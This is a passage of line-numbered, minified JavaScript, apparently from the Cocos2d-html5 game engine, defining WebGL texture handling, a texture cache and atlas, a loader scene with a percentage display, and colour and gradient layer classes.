  223. c.TEXTURE_MIN_FILTER,a.ufa);c.texParameteri(c.TEXTURE_2D,c.TEXTURE_MAG_FILTER,a.qfa);c.texParameteri(c.TEXTURE_2D,c.TEXTURE_WRAP_S,a.T4);c.texParameteri(c.TEXTURE_2D,c.TEXTURE_WRAP_T,a.U4)},d3:function(){var a=b.k;b.te(this);this.fo?a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MIN_FILTER,a.LINEAR_MIPMAP_NEAREST):a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MIN_FILTER,a.LINEAR);a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MAG_FILTER,a.NEAREST)},cG:function(){var a=b.k;b.te(this);this.fo?a.texParameteri(a.TEXTURE_2D,
  224. a.TEXTURE_MIN_FILTER,a.NEAREST_MIPMAP_NEAREST):a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MIN_FILTER,a.NEAREST);a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MAG_FILTER,a.NEAREST)},generateMipmap:function(){b.assert(this.lj==b.Uj(this.lj)&&this.kj==b.Uj(this.kj),"Mimpap texture only works in POT textures");b.te(this);b.k.generateMipmap(b.k.TEXTURE_2D);this.fo=!0},v4:function(){return b.da.CU[this.ni]},pZ:function(a){a=a||this.ni;var c=b.da.QI[a];if(null!=c)return c;b.log(b.e.KT,a);return-1},xW:function(a,c,
  225. d){var e=b.da,f=a.getData(),g=null,g=null,h=a.Mca(),k=O(a.F0(),a.Q_()),m=e.FM,p=a.caa();h||(8<=p?m=e.zq:(b.log(b.e.HT),m=e.yq));var r=c*d;if(m==e.yq)if(h)for(f=new Uint16Array(c*d),g=a.getData(),p=0;p<r;++p)f[p]=(g[p]>>0&255)>>3<<11|(g[p]>>8&255)>>2<<5|(g[p]>>16&255)>>3<<0;else for(f=new Uint16Array(c*d),g=a.getData(),p=0;p<r;++p)f[p]=(g[p]&255)>>3<<11|(g[p]&255)>>2<<5|(g[p]&255)>>3<<0;else if(m==e.zu)for(f=new Uint16Array(c*d),g=a.getData(),p=0;p<r;++p)f[p]=(g[p]>>0&255)>>4<<12|(g[p]>>8&255)>>4<<
  226. 8|(g[p]>>16&255)>>4<<4|(g[p]>>24&255)>>4<<0;else if(m==e.yu)for(f=new Uint16Array(c*d),g=a.getData(),p=0;p<r;++p)f[p]=(g[p]>>0&255)>>3<<11|(g[p]>>8&255)>>3<<6|(g[p]>>16&255)>>3<<1|(g[p]>>24&255)>>7<<0;else if(m==e.xq)for(f=new Uint8Array(c*d),g=a.getData(),p=0;p<r;++p)f[p]=g>>24&255;if(h&&m==e.zq)for(g=a.getData(),f=new Uint8Array(c*d*3),p=0;p<r;++p)f[3*p]=g>>0&255,f[3*p+1]=g>>8&255,f[3*p+2]=g>>16&255;this.at(f,m,c,d,k);a.getData();this.Pv=a.ida();return!0},Yd:function(a,c){this.gb||(this.gb=[]);
  227. this.gb.push({Fh:a,ag:c})},L2:function(a){if(this.gb)for(var c=this.gb,d=0;d<c.length;d++)c[d].ag==a&&c.splice(d,1)},Qd:function(){if(this.gb){for(var a=this.gb,c=0,d=a.length;c<d;c++){var e=a[c];e.Fh.call(e.ag,this)}a.length=0}}})};
  228. b.B.IA=function(){var a=b.ak.prototype;a.jm=function(){var a=b.k;this.uc[0]=a.createBuffer();this.uc[1]=a.createBuffer();this.em=a.createBuffer();this.bw()};a.bw=function(){var a=b.k;a.bindBuffer(a.ARRAY_BUFFER,this.em);a.bufferData(a.ARRAY_BUFFER,this.Zc,a.DYNAMIC_DRAW);a.bindBuffer(a.ELEMENT_ARRAY_BUFFER,this.uc[1]);a.bufferData(a.ELEMENT_ARRAY_BUFFER,this.nb,a.STATIC_DRAW)};a.OM=function(a){var d;d=0;if(0!==a&&this.texture&&this.texture.vc){var e=b.k;b.te(this.texture);b.Ic(b.Gl);e.bindBuffer(e.ARRAY_BUFFER,
  229. this.em);this.dirty&&e.bufferData(e.ARRAY_BUFFER,this.Zc,e.DYNAMIC_DRAW);e.vertexAttribPointer(b.tb,3,e.FLOAT,!1,24,0);e.vertexAttribPointer(b.Ae,4,e.UNSIGNED_BYTE,!0,24,12);e.vertexAttribPointer(b.yd,2,e.FLOAT,!1,24,16);this.dirty&&(this.dirty=!1);e.bindBuffer(e.ELEMENT_ARRAY_BUFFER,this.uc[1]);b.WH?e.drawElements(e.TRIANGLE_STRIP,6*a,e.UNSIGNED_SHORT,6*d*this.nb.BYTES_PER_ELEMENT):e.drawElements(e.TRIANGLES,6*a,e.UNSIGNED_SHORT,6*d*this.nb.BYTES_PER_ELEMENT);b.bg++}}};
  230. b.B.JA=function(){var a=b.Da;a.Nb=function(a){var d=this.Gc;b.rw||(d=this.Lr);var e=d[a];e||(e=d[a]=new b.da,e.url=a);e.Nb()};a.Bc=function(a,d,e){b.assert(a,b.e.JT);var f=this.Gc;b.rw||(f=this.Lr);var g=f[a]||f[b.V.Il[a]];if(g)return d&&d.call(e),g;b.V.Gd(a)||(b.V.fJ(a)?b.V.load(a,function(){d&&d.call(e)}):b.V.Zf[a]=b.V.ht(a,function(e,f){if(e)return d?d(e):e;b.Da.Nb(a);d&&d(null,f)}));g=f[a]=new b.da;g.url=a;return g};delete a};b.B.Pz=function(){var a=b.da;a.S6=function(a){b.wS=a};a.Si=2;a.zq=3;a.yq=4;a.xq=5;a.Cz=6;a.Bz=7;a.zu=8;a.yu=7;a.wH=9;a.vH=10;a.nS=a.Si;var c=b.da.CU={};c[a.Si]="RGBA8888";c[a.zq]="RGB888";c[a.yq]="RGB565";c[a.xq]="A8";c[a.Cz]="I8";c[a.Bz]="AI88";c[a.zu]="RGBA4444";c[a.yu]="RGB5A1";c[a.wH]="PVRTC4";c[a.vH]="PVRTC2";c=b.da.QI={};c[a.Si]=32;c[a.zq]=24;c[a.yq]=16;c[a.xq]=8;c[a.Cz]=8;c[a.Bz]=16;c[a.zu]=16;c[a.yu]=16;c[a.wH]=4;c[a.vH]=3;c=b.da.prototype;b.f(c,"name",c.getName);b.f(c,"pixelFormat",c.kN);
  231. b.f(c,"pixelsWidth",c.mN);b.f(c,"pixelsHeight",c.lN);b.f(c,"width",c.jh);b.f(c,"height",c.xk);a.FM=a.nS};b.B.Qz=function(){var a=b.ak.prototype;b.f(a,"totalQuads",a.DN);b.f(a,"capacity",a.aN);b.f(a,"quads",a.nN,a.pP)};b.c5=51;b.f5=19;b.h5=18;b.e5=50;b.b5=34;b.Z4=35;b.a5=33;b.d5=49;b.g5=17;b.wS=!1;
  232. b.A===b.Ea?b.da=b.ja.extend({O:null,vc:!1,Db:null,gb:null,url:null,ctor:function(){this.O=O(0,0);this.vc=!1;this.Db=null},mN:function(){return this.O.width},lN:function(){return this.O.height},Jh:function(){var a=b.rb();return O(this.O.width/a,this.O.height/a)},jh:function(){return this.O.width/b.rb()},xk:function(){return this.O.height/b.rb()},E_:function(){return this.O},rd:function(a){a&&(this.Db=a)},S_:function(){return this.Db},i1:function(){return this.vc},Nb:function(){if(!this.vc){if(!this.Db){var a=
  233. b.V.Gd(this.url);if(!a)return;this.rd(a)}this.vc=!0;a=this.Db;this.O.width=a.width;this.O.height=a.height;this.Qd()}},description:function(){return"\x3ccc.Texture2D | width \x3d "+this.O.width+" height "+this.O.height+"\x3e"},at:function(){return!1},PN:function(){return!1},sd:function(){return!1},TF:function(){},getName:function(){return null},b0:function(){return 1},y3:function(){},c0:function(){return 1},z3:function(){},kN:function(){return null},VE:function(){return null},nG:function(){},yi:function(){return!1},
  234. J0:function(){return!1},G2:function(){},q1:function(a){return a},NZ:function(){},QZ:function(){},R0:function(){b.log(b.e.MT);return!1},U0:function(){b.log(b.e.QT);return!1},V0:function(){b.log(b.e.ST);return!1},U3:function(){},d3:function(){},cG:function(){},generateMipmap:function(){},v4:function(){return""},pZ:function(){return-1},Yd:function(a,c){this.gb||(this.gb=[]);this.gb.push({Fh:a,ag:c})},L2:function(a){if(this.gb)for(var c=this.gb,d=0;d<c.length;d++)c[d].ag==a&&c.splice(d,1)},Qd:function(){if(this.gb){for(var a=
  235. this.gb,c=0,d=a.length;c<d;c++){var e=a[c];e.Fh.call(e.ag,this)}a.length=0}}}):(b.assert("function"===typeof b.B.HA,b.e.Nc,"TexturesWebGL.js"),b.B.HA(),delete b.B.HA);b.assert("function"===typeof b.B.Pz,b.e.Nc,"TexturesPropertyDefine.js");b.B.Pz();delete b.B.Pz;b.Da={Gc:{},os:{},GD:0|1E3*Math.random(),Lr:{},EW:function(){var a,c=this.Lr,d=this.Gc;for(a in c){var e=c[a];e.Nb();d[a]=e}this.Lr={}},I8:function(){b.log(b.e.z4)},F8:function(){b.log(b.e.x4)},description:function(){return"\x3cTextureCache | Number of textures \x3d "+this.Gc.length+"\x3e"},bn:function(a){return this.Gc[a]||this.Gc[b.V.Il[a]]},U_:function(a){for(var c in this.Gc)if(this.Gc[c]==a)return c;return null},IV:function(){this.GD++;return"_textureKey_"+this.GD},ux:function(a){var c=this.U_(a);
  236. c||(c=a instanceof HTMLImageElement?a.src:this.IV());this.os[c]||(this.os[c]=b.$o(a));return this.os[c]},H8:function(){b.log(b.e.y4)},Rga:function(){var a=this.Gc,c;for(c in a)a[c]&&a[c].TF();this.Gc={}},bha:function(a){if(a){var c=this.Gc,d;for(d in c)c[d]==a&&(c[d].TF(),delete c[d])}},cha:function(a){null!=a&&this.Gc[a]&&delete this.Gc[a]},qZ:function(a,c){if(c instanceof b.da)this.Gc[a]=c;else{var d=new b.da;d.rd(c);d.Nb();this.Gc[a]=d}},N8:function(a,c){b.assert(a,b.e.B4);if(c&&this.Gc[c])return this.Gc[c];
  237. var d=new b.da;d.PN(a);null!=c&&null!=d?this.Gc[c]=d:b.log(b.e.A4);return d},S9:function(){var a=0,c=0,d=this.Gc,e;for(e in d){var f=d[e];a++;f.Db instanceof HTMLImageElement?b.log(b.e.C4,e,f.Db.src,f.pixelsWidth,f.pixelsHeight):b.log(b.e.KP,e,f.pixelsWidth,f.pixelsHeight);c+=f.pixelsWidth*f.pixelsHeight*4}d=this.os;for(e in d){var f=d[e],g;for(g in f){var h=f[g];a++;b.log(b.e.KP,e,h.width,h.height);c+=h.width*h.height*4}}b.log(b.e.D4,a,c/1024,(c/1048576).toFixed(2))},nk:function(){this.Gc={};this.os=
  238. {};this.GD=0|1E3*Math.random();this.Lr={}}};b.A===b.Ea?(n=b.Da,n.Nb=function(a){var c=this.Gc,d=c[a];d||(d=c[a]=new b.da,d.url=a);d.Nb()},n.Bc=function(a,c,d){b.assert(a,b.e.IT);var e=this.Gc,f=e[a]||e[b.V.Il[a]];if(f)return c&&c.call(d),f;f=e[a]=new b.da;f.url=a;b.V.Gd(a)?f.Nb():b.V.fJ(a)?b.V.load(a,function(){c&&c.call(d)}):b.V.Zf[a]=b.V.ht(a,function(d,e){if(d)return c?c(d):d;b.Da.Nb(a);c&&c(null,e)});return f},n=null):(b.assert("function"===typeof b.B.JA,b.e.Nc,"TexturesWebGL.js"),b.B.JA(),delete b.B.JA);b.ak=b.ja.extend({dirty:!1,texture:null,nb:null,uc:null,zd:0,Ec:null,Zc:null,em:null,Tf:null,ctor:function(a,c){this.uc=[];"string"==typeof a?this.$k(a,c):a instanceof b.da&&this.ta(a,c)},DN:function(){return this.Pa},aN:function(){return this.zd},Qa:function(){return this.texture},sb:function(a){this.texture=a},bP:function(a){this.dirty=a},sF:function(){return this.dirty},nN:function(){return this.Ec},pP:function(a){this.Ec=a},pV:function(a,c){if(a)for(var d=0;d<a.length;d++)this.xw(a[d],c+d)},xw:function(a,
  239. c){var d=this.Ec;d[c]?(d[c].F=a.F,d[c].M=a.M,d[c].L=a.L,d[c].J=a.J):d[c]=new b.Cb(a.L,a.F,a.J,a.M,this.Zc,c*b.Cb.BYTES_PER_ELEMENT)},description:function(){return"\x3ccc.TextureAtlas | totalQuads \x3d"+this.Pa+"\x3e"},HL:function(){if(0!==this.zd)for(var a=this.nb,c=this.zd,d=0;d<c;d++)b.WH?(a[6*d+0]=4*d+0,a[6*d+1]=4*d+0,a[6*d+2]=4*d+2,a[6*d+3]=4*d+1,a[6*d+4]=4*d+3,a[6*d+5]=4*d+3):(a[6*d+0]=4*d+0,a[6*d+1]=4*d+1,a[6*d+2]=4*d+2,a[6*d+3]=4*d+3,a[6*d+4]=4*d+2,a[6*d+5]=4*d+1)},jm:function(){var a=b.k;
  240. this.uc[0]=a.createBuffer();this.uc[1]=a.createBuffer();this.em=a.createBuffer();this.bw()},bw:function(){var a=b.k;a.bindBuffer(a.ARRAY_BUFFER,this.em);a.bufferData(a.ARRAY_BUFFER,this.Zc,a.DYNAMIC_DRAW);a.bindBuffer(a.ELEMENT_ARRAY_BUFFER,this.uc[1]);a.bufferData(a.ELEMENT_ARRAY_BUFFER,this.nb,a.STATIC_DRAW)},$k:function(a,c){var d=b.Da.Bc(a);if(d)return this.ta(d,c);b.log(b.e.VT,a);return!1},ta:function(a,c){b.assert(a,b.e.WT);this.zd=c|=0;this.Pa=0;this.texture=a;this.Ec=[];this.nb=new Uint16Array(6*
  241. c);var d=b.Cb.BYTES_PER_ELEMENT;this.Zc=new ArrayBuffer(d*c);this.Tf=new Uint8Array(this.Zc);if((!this.Ec||!this.nb)&&0<c)return!1;for(var e=this.Ec,f=0;f<c;f++)e[f]=new b.Cb(null,null,null,null,this.Zc,f*d);this.HL();this.jm();return this.dirty=!0},Ry:function(a,c){b.assert(a,b.e.fU);b.assert(0<=c&&c<this.zd,b.e.gU);this.Pa=Math.max(c+1,this.Pa);this.xw(a,c);this.dirty=!0},qF:function(a,c){b.assert(c<this.zd,b.e.ZT);this.Pa++;if(this.Pa>this.zd)b.log(b.e.dI);else{var d=b.Cb.BYTES_PER_ELEMENT,e=c*
  242. d,f=(this.Pa-1-c)*d;this.Ec[this.Pa-1]=new b.Cb(null,null,null,null,this.Zc,(this.Pa-1)*d);this.Tf.set(this.Tf.subarray(e,e+f),e+d);this.xw(a,c);this.dirty=!0}},Uca:function(a,c,d){d=d||a.length;b.assert(c+d<=this.zd,b.e.$T);var e=b.Cb.BYTES_PER_ELEMENT;this.Pa+=d;if(this.Pa>this.zd)b.log(b.e.dI);else{var f=c*e,g=(this.Pa-1-c-d)*e,h=this.Pa-1-d,k;for(k=0;k<d;k++)this.Ec[h+k]=new b.Cb(null,null,null,null,this.Zc,(this.Pa-1)*e);this.Tf.set(this.Tf.subarray(f,f+g),f+e*d);for(k=0;k<d;k++)this.xw(a[k],
  243. c+k);this.dirty=!0}},Tca:function(a,c){if(a!==c){b.assert(0<=c||c<this.Pa,b.e.XT);b.assert(0<=a||a<this.Pa,b.e.YT);var d=b.Cb.BYTES_PER_ELEMENT,e=this.Tf,f=e.subarray(a*d,d),g;a>c?(g=c*d,e.set(e.subarray(g,g+(a-c)*d),g+d),e.set(f,g)):(g=(a+1)*d,e.set(e.subarray(g,g+(c-a)*d),g-d),e.set(f,c*d));this.dirty=!0}},OO:function(a){b.assert(a<this.Pa,b.e.dU);var c=b.Cb.BYTES_PER_ELEMENT;this.Pa--;this.Ec.length=this.Pa;if(a!==this.Pa){var d=(a+1)*c;this.Tf.set(this.Tf.subarray(d,d+(this.Pa-a)*c),d-c)}this.dirty=
  244. !0},N2:function(a,c){b.assert(a+c<=this.Pa,b.e.eU);this.Pa-=c;if(a!==this.Pa){var d=b.Cb.BYTES_PER_ELEMENT,e=(a+c)*d;this.Tf.set(this.Tf.subarray(e,e+(this.Pa-a)*d),a*d)}this.dirty=!0},MO:function(){this.Pa=this.Ec.length=0},Kk:function(a){this.dirty=a},XF:function(a){if(a==this.zd)return!0;var c=b.Cb.BYTES_PER_ELEMENT,d=this.zd;this.Pa=Math.min(this.Pa,a);var e=this.zd=0|a,f=this.Pa;if(null==this.Ec)for(this.Ec=[],this.Zc=new ArrayBuffer(c*e),this.Tf=new Uint8Array(this.Zc),a=0;a<e;a++)this.Ec=new b.Cb(null,
  245. null,null,null,this.Zc,a*c);else{var g,h,k=this.Ec;if(e>d){g=[];h=new ArrayBuffer(c*e);for(a=0;a<f;a++)g[a]=new b.Cb(k[a].L,k[a].F,k[a].J,k[a].M,h,a*c);for(;a<e;a++)g[a]=new b.Cb(null,null,null,null,h,a*c)}else for(f=Math.max(f,e),g=[],h=new ArrayBuffer(c*e),a=0;a<f;a++)g[a]=new b.Cb(k[a].L,k[a].F,k[a].J,k[a].M,h,a*c);this.Tf=new Uint8Array(h);this.Ec=g;this.Zc=h}null==this.nb?this.nb=new Uint16Array(6*e):e>d?(c=new Uint16Array(6*e),c.set(this.nb,0),this.nb=c):this.nb=this.nb.subarray(0,6*e);this.HL();
  246. this.bw();return this.dirty=!0},JN:function(a){this.Pa+=a},pO:function(a,c,d){if(void 0===d){if(d=c,c=this.Pa-a,b.assert(d+(this.Pa-a)<=this.zd,b.e.aU),0===c)return}else if(b.assert(d+c<=this.Pa,b.e.bU),b.assert(a<this.Pa,b.e.cU),a==d)return;var e=b.Cb.BYTES_PER_ELEMENT,f=a*e,g=c*e,h=this.Tf,k=h.subarray(f,f+g),m=d*e;d<a?(c=d*e,h.set(h.subarray(c,c+(a-d)*e),c+g)):(c=(a+c)*e,h.set(h.subarray(c,c+(d-a)*e),f));h.set(k,m);this.dirty=!0},UM:function(a,c){for(var d=c*b.Cb.BYTES_PER_ELEMENT,e=new Uint8Array(this.Zc,
  247. a*b.Cb.BYTES_PER_ELEMENT,d),f=0;f<d;f++)e[f]=0},PM:function(){this.OM(this.Pa)},m8:function(){var a=b.k;this.uc&&(this.uc[0]&&a.deleteBuffer(this.uc[0]),this.uc[1]&&a.deleteBuffer(this.uc[1]));this.em&&a.deleteBuffer(this.em)}});n=b.ak.prototype;b.f(n,"totalQuads",n.DN);b.f(n,"capacity",n.aN);b.f(n,"quads",n.nN,n.pP);b.ak.create=function(a,c){return new b.ak(a,c)};b.A===b.$&&(b.assert("function"===typeof b.B.IA,b.e.Nc,"TexturesWebGL.js"),b.B.IA(),delete b.B.IA);
  248. b.assert("function"===typeof b.B.Qz,b.e.Nc,"TexturesPropertyDefine.js");b.B.Qz();delete b.B.Qz;b.Cf=b.q.extend({ub:"Scene",ctor:function(){b.q.prototype.ctor.call(this);this.dj=!0;this.fl(0.5,0.5);this.$d(b.D.R)}});b.Cf.create=function(){return new b.Cf};b.mH=b.Cf.extend({ej:null,Kr:0,Ml:0,ac:null,ub:"LoaderScene",G:function(){var a=this,c=200,d=a.WA=b.gd.create(b.color(32,32,32,255));d.P(b.Oj.$w);a.N(d,0);var e=24,f=-c/2+100;b.PK&&(b.V.ht(b.PK,{rF:!1},function(d,e){c=e.height;a.wK(e,b.Oj.Ks)}),e=14,f=-c/2-10);e=a.ac=b.W.create("Loading... 0%","Arial",e);e.P(b.Hi(b.Oj.Ks,N(0,f)));e.La(b.color(180,180,180));d.N(this.ac,10);return!0},wK:function(a,c){var d=new b.da;d.rd(a);d.Nb();d=b.Q.create(d);d.an(b.rb());d.x=c.x;d.y=c.y;this.WA.N(d,10)},ba:function(){b.q.prototype.ba.call(this);
  249. this.Cp(this.gs,0.3)},vb:function(){b.q.prototype.vb.call(this);this.ac.Lc("Loading... 0%")},jF:function(a,c){"string"==typeof a&&(a=[a]);this.YF=a||[];this.cd=c},gs:function(){var a=this;a.Rt(a.gs);var c=a.YF;a.Kr=c.length;a.Ml=0;b.V.load(c,function(c,e){a.Ml=e},function(){a.cd&&a.cd()});a.Cp(a.us)},us:function(){var a=this.Ml,c=this.Kr,d;d=Math.min(a/c*100|0,100);this.ac.Lc("Loading... "+d+"%");a>=c&&this.Rt(this.us)}});
  250. b.mH.oy=function(a,c){var d=b;d.it||(d.it=new b.mH,d.it.G());d.it.jF(a,c);b.D.Xm(d.it);return d.it};b.B.tz=function(){var a=b.ae.prototype;a.oM=function(){};a.QP=function(){};a.T=b.q.prototype.T};
  251. b.B.EA=function(){var a=b.gd.prototype;a.Aw=null;a.sD=null;a.WD=null;a.hB=null;a.uD=null;a.tD=null;a.ctor=function(a,d,e){this.uD=new ArrayBuffer(32);this.tD=new ArrayBuffer(16);var f=this.uD,g=this.tD,h=b.Zb.BYTES_PER_ELEMENT,k=b.Af.BYTES_PER_ELEMENT;this.Aw=[new b.Zb(0,0,f,0),new b.Zb(0,0,f,h),new b.Zb(0,0,f,2*h),new b.Zb(0,0,f,3*h)];this.sD=[b.color(0,0,0,255,g,0),b.color(0,0,0,255,g,k),b.color(0,0,0,255,g,2*k),b.color(0,0,0,255,g,3*k)];this.WD=b.k.createBuffer();this.hB=b.k.createBuffer();b.Bf.prototype.ctor.call(this);
  252. this.o=new b.Rj(b.hc,b.gc);b.gd.prototype.G.call(this,a,d,e)};a.$d=function(a,d){var e=this.Aw;void 0===d?(e[1].x=a.width,e[2].y=a.height,e[3].x=a.width,e[3].y=a.height):(e[1].x=a,e[2].y=d,e[3].x=a,e[3].y=d);this.XA();b.ae.prototype.$d.call(this,a,d)};a.qj=function(a){var d=this.Aw;d[1].x=a;d[3].x=a;this.XA();b.ae.prototype.qj.call(this,a)};a.pj=function(a){var d=this.Aw;d[2].y=a;d[3].y=a;this.XA();b.ae.prototype.pj.call(this,a)};a.fc=function(){for(var a=this.Fa,d=this.Ca,e=this.sD,f=0;4>f;f++)e[f].r=
  253. a.r,e[f].g=a.g,e[f].b=a.b,e[f].a=d;this.cJ()};a.Z=function(a){a=a||b.k;b.kt(this);b.Ic(b.Od|b.Tu);a.bindBuffer(a.ARRAY_BUFFER,this.WD);a.vertexAttribPointer(b.tb,2,a.FLOAT,!1,0,0);a.bindBuffer(a.ARRAY_BUFFER,this.hB);a.vertexAttribPointer(b.Ae,4,a.UNSIGNED_BYTE,!0,0,0);b.Mh(this.o.src,this.o.U);a.drawArrays(a.TRIANGLE_STRIP,0,4)};a.XA=function(){var a=b.k;a.bindBuffer(a.ARRAY_BUFFER,this.WD);a.bufferData(a.ARRAY_BUFFER,this.uD,a.STATIC_DRAW)};a.cJ=function(){var a=b.k;a.bindBuffer(a.ARRAY_BUFFER,
  254. this.hB);a.bufferData(a.ARRAY_BUFFER,this.tD,a.STATIC_DRAW)}};
  255. b.B.FA=function(){var a=b.ul.prototype;a.Z=b.gd.prototype.Z;a.fc=function(){var a=this.kk,d=b.dl(a);if(0!==d){var e=Math.sqrt(2),a=N(a.x/d,a.y/d);this.ov&&(a=b.Ii(a,1/(Math.abs(a.x)+Math.abs(a.y))*e));var f=this.Ca/255,d=this.Fa,g=this.Fe,d={r:d.r,g:d.g,b:d.b,a:this.zo*f},f={r:g.r,g:g.g,b:g.b,a:this.Sn*f},h=this.sD,g=h[0],k=h[1],m=h[2],h=h[3];g.r=f.r+(e+a.x+a.y)/(2*e)*(d.r-f.r);g.g=f.g+(e+a.x+a.y)/(2*e)*(d.g-f.g);g.b=f.b+(e+a.x+a.y)/(2*e)*(d.b-f.b);g.a=f.a+(e+a.x+a.y)/(2*e)*(d.a-f.a);k.r=f.r+(e-a.x+
  256. a.y)/(2*e)*(d.r-f.r);k.g=f.g+(e-a.x+a.y)/(2*e)*(d.g-f.g);k.b=f.b+(e-a.x+a.y)/(2*e)*(d.b-f.b);k.a=f.a+(e-a.x+a.y)/(2*e)*(d.a-f.a);m.r=f.r+(e+a.x-a.y)/(2*e)*(d.r-f.r);m.g=f.g+(e+a.x-a.y)/(2*e)*(d.g-f.g);m.b=f.b+(e+a.x-a.y)/(2*e)*(d.b-f.b);m.a=f.a+(e+a.x-a.y)/(2*e)*(d.a-f.a);h.r=f.r+(e-a.x-a.y)/(2*e)*(d.r-f.r);h.g=f.g+(e-a.x-a.y)/(2*e)*(d.g-f.g);h.b=f.b+(e-a.x-a.y)/(2*e)*(d.b-f.b);h.a=f.a+(e-a.x-a.y)/(2*e)*(d.a-f.a);this.cJ()}}};b.B.Nz=function(){var a=b.Bf.prototype;b.f(a,"opacityModifyRGB",a.ue,a.Jd);b.f(a,"opacity",a.Se,a.Ba);b.f(a,"cascadeOpacity",a.ct,a.Fp);b.f(a,"color",a.Re,a.La);b.f(a,"cascadeColor",a.bt,a.Ep)};b.B.Lz=function(){var a=b.gd.prototype;b.f(a,"width",a.jh,a.qj);b.f(a,"height",a.xk,a.pj)};b.B.Mz=function(){var a=b.ul.prototype;b.f(a,"startColor",a.tx,a.Ze);b.f(a,"endColor",a.ox,a.Xe);b.f(a,"startOpacity",a.w0,a.R3);b.f(a,"endOpacity",a.J_,a.p3);b.f(a,"vector",a.C0,a.a4)};b.ae=b.q.extend({Ul:!1,hv:null,ub:"Layer",ctor:function(){var a=b.q.prototype;a.ctor.call(this);this.dj=!0;a.fl.call(this,0.5,0.5);a.$d.call(this,b.Vt)},oM:null,QP:null,Yca:function(){return this.Ul},T:null});b.ae.create=function(){return new b.ae};
  257. if(b.A===b.Ea){var T=b.ae.prototype;T.oM=function(){if(!this.Ul){this.Ul=this.Ag=!0;this.Wi=this;for(var a=this.s,c=0,d=a.length;c<d;c++)a[c].ZC(this);this.hv||(this.hv=new b.qQ)}};T.QP=function(){if(this.Ul){this.Ul=!1;this.Ag=!0;this.Wi=null;for(var a=this.s,c=0,d=a.length;c<d;c++)a[c].ZC(null)}};T.T=function(a){if(this.Ul){a=a||b.k;var c,d=this.s,e=d.length;if(this.zc&&0!==e){var f=this.hv;a.save();this.transform(a);if(this.Ag){c=this.EB();c.width|=0;c.height|=0;var g=f.Ce;f.RO(c.width,c.height);
  258. g.translate(0-c.x,c.height+c.y);var h=f.kb;f.P(h.x+c.x,h.y+c.y);this.Tc();for(c=0;c<e;c++)d[c].T(g);this.Ag=!1}f.T(a);this.arrivalOrder=0;a.restore()}}else b.q.prototype.T.call(this,a)};T.EB=function(){var a=null;if(!this.s||0===this.s.length)return Q(0,0,10,10);for(var c=this.s,d=0;d<c.length;d++){var e=c[d];e&&e.zc&&(a?(e=e.wr())&&(a=b.qy(a,e)):a=e.wr())}return a};T=null}else b.assert("function"===typeof b.B.tz,b.e.Nc,"CCLayerWebGL.js"),b.B.tz(),delete b.B.tz;
  259. b.Bf=b.ae.extend({yb:!0,Ca:255,Vd:255,Fa:null,cc:null,ee:!1,Ad:!1,ub:"LayerRGBA",ctor:function(){b.ae.prototype.ctor.call(this);this.Fa=b.color(255,255,255,255);this.cc=b.color(255,255,255,255)},G:function(){var a=b.ae.prototype;this.dj=!0;a.fl.call(this,0.5,0.5);a.$d.call(this,b.Vt);this.cascadeColor=this.cascadeOpacity=!1;return!0},Se:function(){return this.Vd},cN:function(){return this.Ca},Ba:function(a){this.Ca=this.Vd=a;var c=255,d=this.Tb;d&&d.yb&&d.cascadeOpacity&&(c=d.Ca);this.Lb(c);this.Fa.a=
  260. this.cc.a=a},Lb:function(a){this.Ca=0|this.Vd*a/255;if(this.ee){a=this.s;for(var c,d=0;d<a.length;d++)(c=a[d])&&c.yb&&c.Lb(this.Ca)}},ct:function(){return this.ee},Fp:function(a){this.ee!==a&&((this.ee=a)?this.pr():this.oB())},pr:function(){var a=255,c=this.Tb;c&&c.yb&&c.cascadeOpacity&&(a=c.Ca);this.Lb(a)},oB:function(){this.Ca=this.Vd;for(var a=this.s,c,d=0;d<a.length;d++)(c=a[d])&&c.yb&&c.Lb(255)},Re:function(){var a=this.cc;return b.color(a.r,a.g,a.b,a.a)},Lm:function(){var a=this.Fa;return b.color(a.r,
  261. a.g,a.b)},La:function(a){var c=this.Fa,d=this.cc;c.r=d.r=a.r;c.g=d.g=a.g;c.b=d.b=a.b;c=(c=this.Tb)&&c.yb&&c.cascadeColor?c.Lm():b.color.WHITE;this.Pb(c);void 0===a.a||a.Cs||this.Ba(a.a)},Pb:function(a){var c=this.Fa,d=this.cc;c.r=0|d.r*a.r/255;c.g=0|d.g*a.g/255;c.b=0|d.b*a.b/255;if(this.Ad){a=this.s;for(var e=0;e<a.length;e++)(d=a[e])&&d.yb&&d.Pb(c)}},bt:function(){return this.Ad},Ep:function(a){this.Ad!==a&&((this.Ad=a)?this.or():this.nB())},or:function(){var a;a=(a=this.Tb)&&a.yb&&a.cascadeColor?
  262. a.Lm():b.color.WHITE;this.Pb(a)},nB:function(){var a=this.Fa,c=this.cc;a.r=c.r;a.g=c.g;a.b=c.b;var a=this.s,c=b.color.WHITE,d,e;for(e=0;e<a.length;e++)(d=a[e])&&d.yb&&d.Pb(c)},N:function(a,c,d){b.q.prototype.N.call(this,a,c,d);this.Ad&&this.or();this.ee&&this.pr()},Jd:function(){},ue:function(){return!1}});b.assert("function"===typeof b.B.Nz,b.e.Nc,"CCLayerPropertyDefine.js");b.B.Nz();delete b.B.Nz;
  263. b.gd=b.Bf.extend({o:null,ub:"LayerColor",Hh:function(){return this.o},q9:function(a,c){this.width=a;this.height=c},p9:function(a){this.width=a},o9:function(a){this.height=a},Jd:function(){},ue:function(){return!1},La:function(a){b.Bf.prototype.La.call(this,a);this.fc()},Ba:function(a){b.Bf.prototype.Ba.call(this,a);this.fc()},mo:!1,ctor:null,G:function(a,c,d){b.A!==b.Ea&&(this.shaderProgram=b.Ld.nc(b.Gu));var e=b.D.R;a=a||b.color(0,0,0,255);c=void 0===c?e.width:c;d=void 0===d?e.height:d;e=this.Fa;
  264. e.r=a.r;e.g=a.g;e.b=a.b;e=this.cc;e.r=a.r;e.g=a.g;e.b=a.b;this.Vd=this.Ca=a.a;a=b.gd.prototype;a.$d.call(this,c,d);a.fc.call(this);return!0},We:function(a,c){this.o=void 0===c?a:{src:a,U:c};b.A===b.Ea&&(this.mo=this.o&&1==this.o.src&&771==this.o.U)},qj:null,pj:null,fc:null,Pb:function(a){b.Bf.prototype.Pb.call(this,a);this.fc()},Lb:function(a){b.Bf.prototype.Lb.call(this,a);this.fc()},Z:null});b.gd.create=function(a,c,d){return new b.gd(a,c,d)};
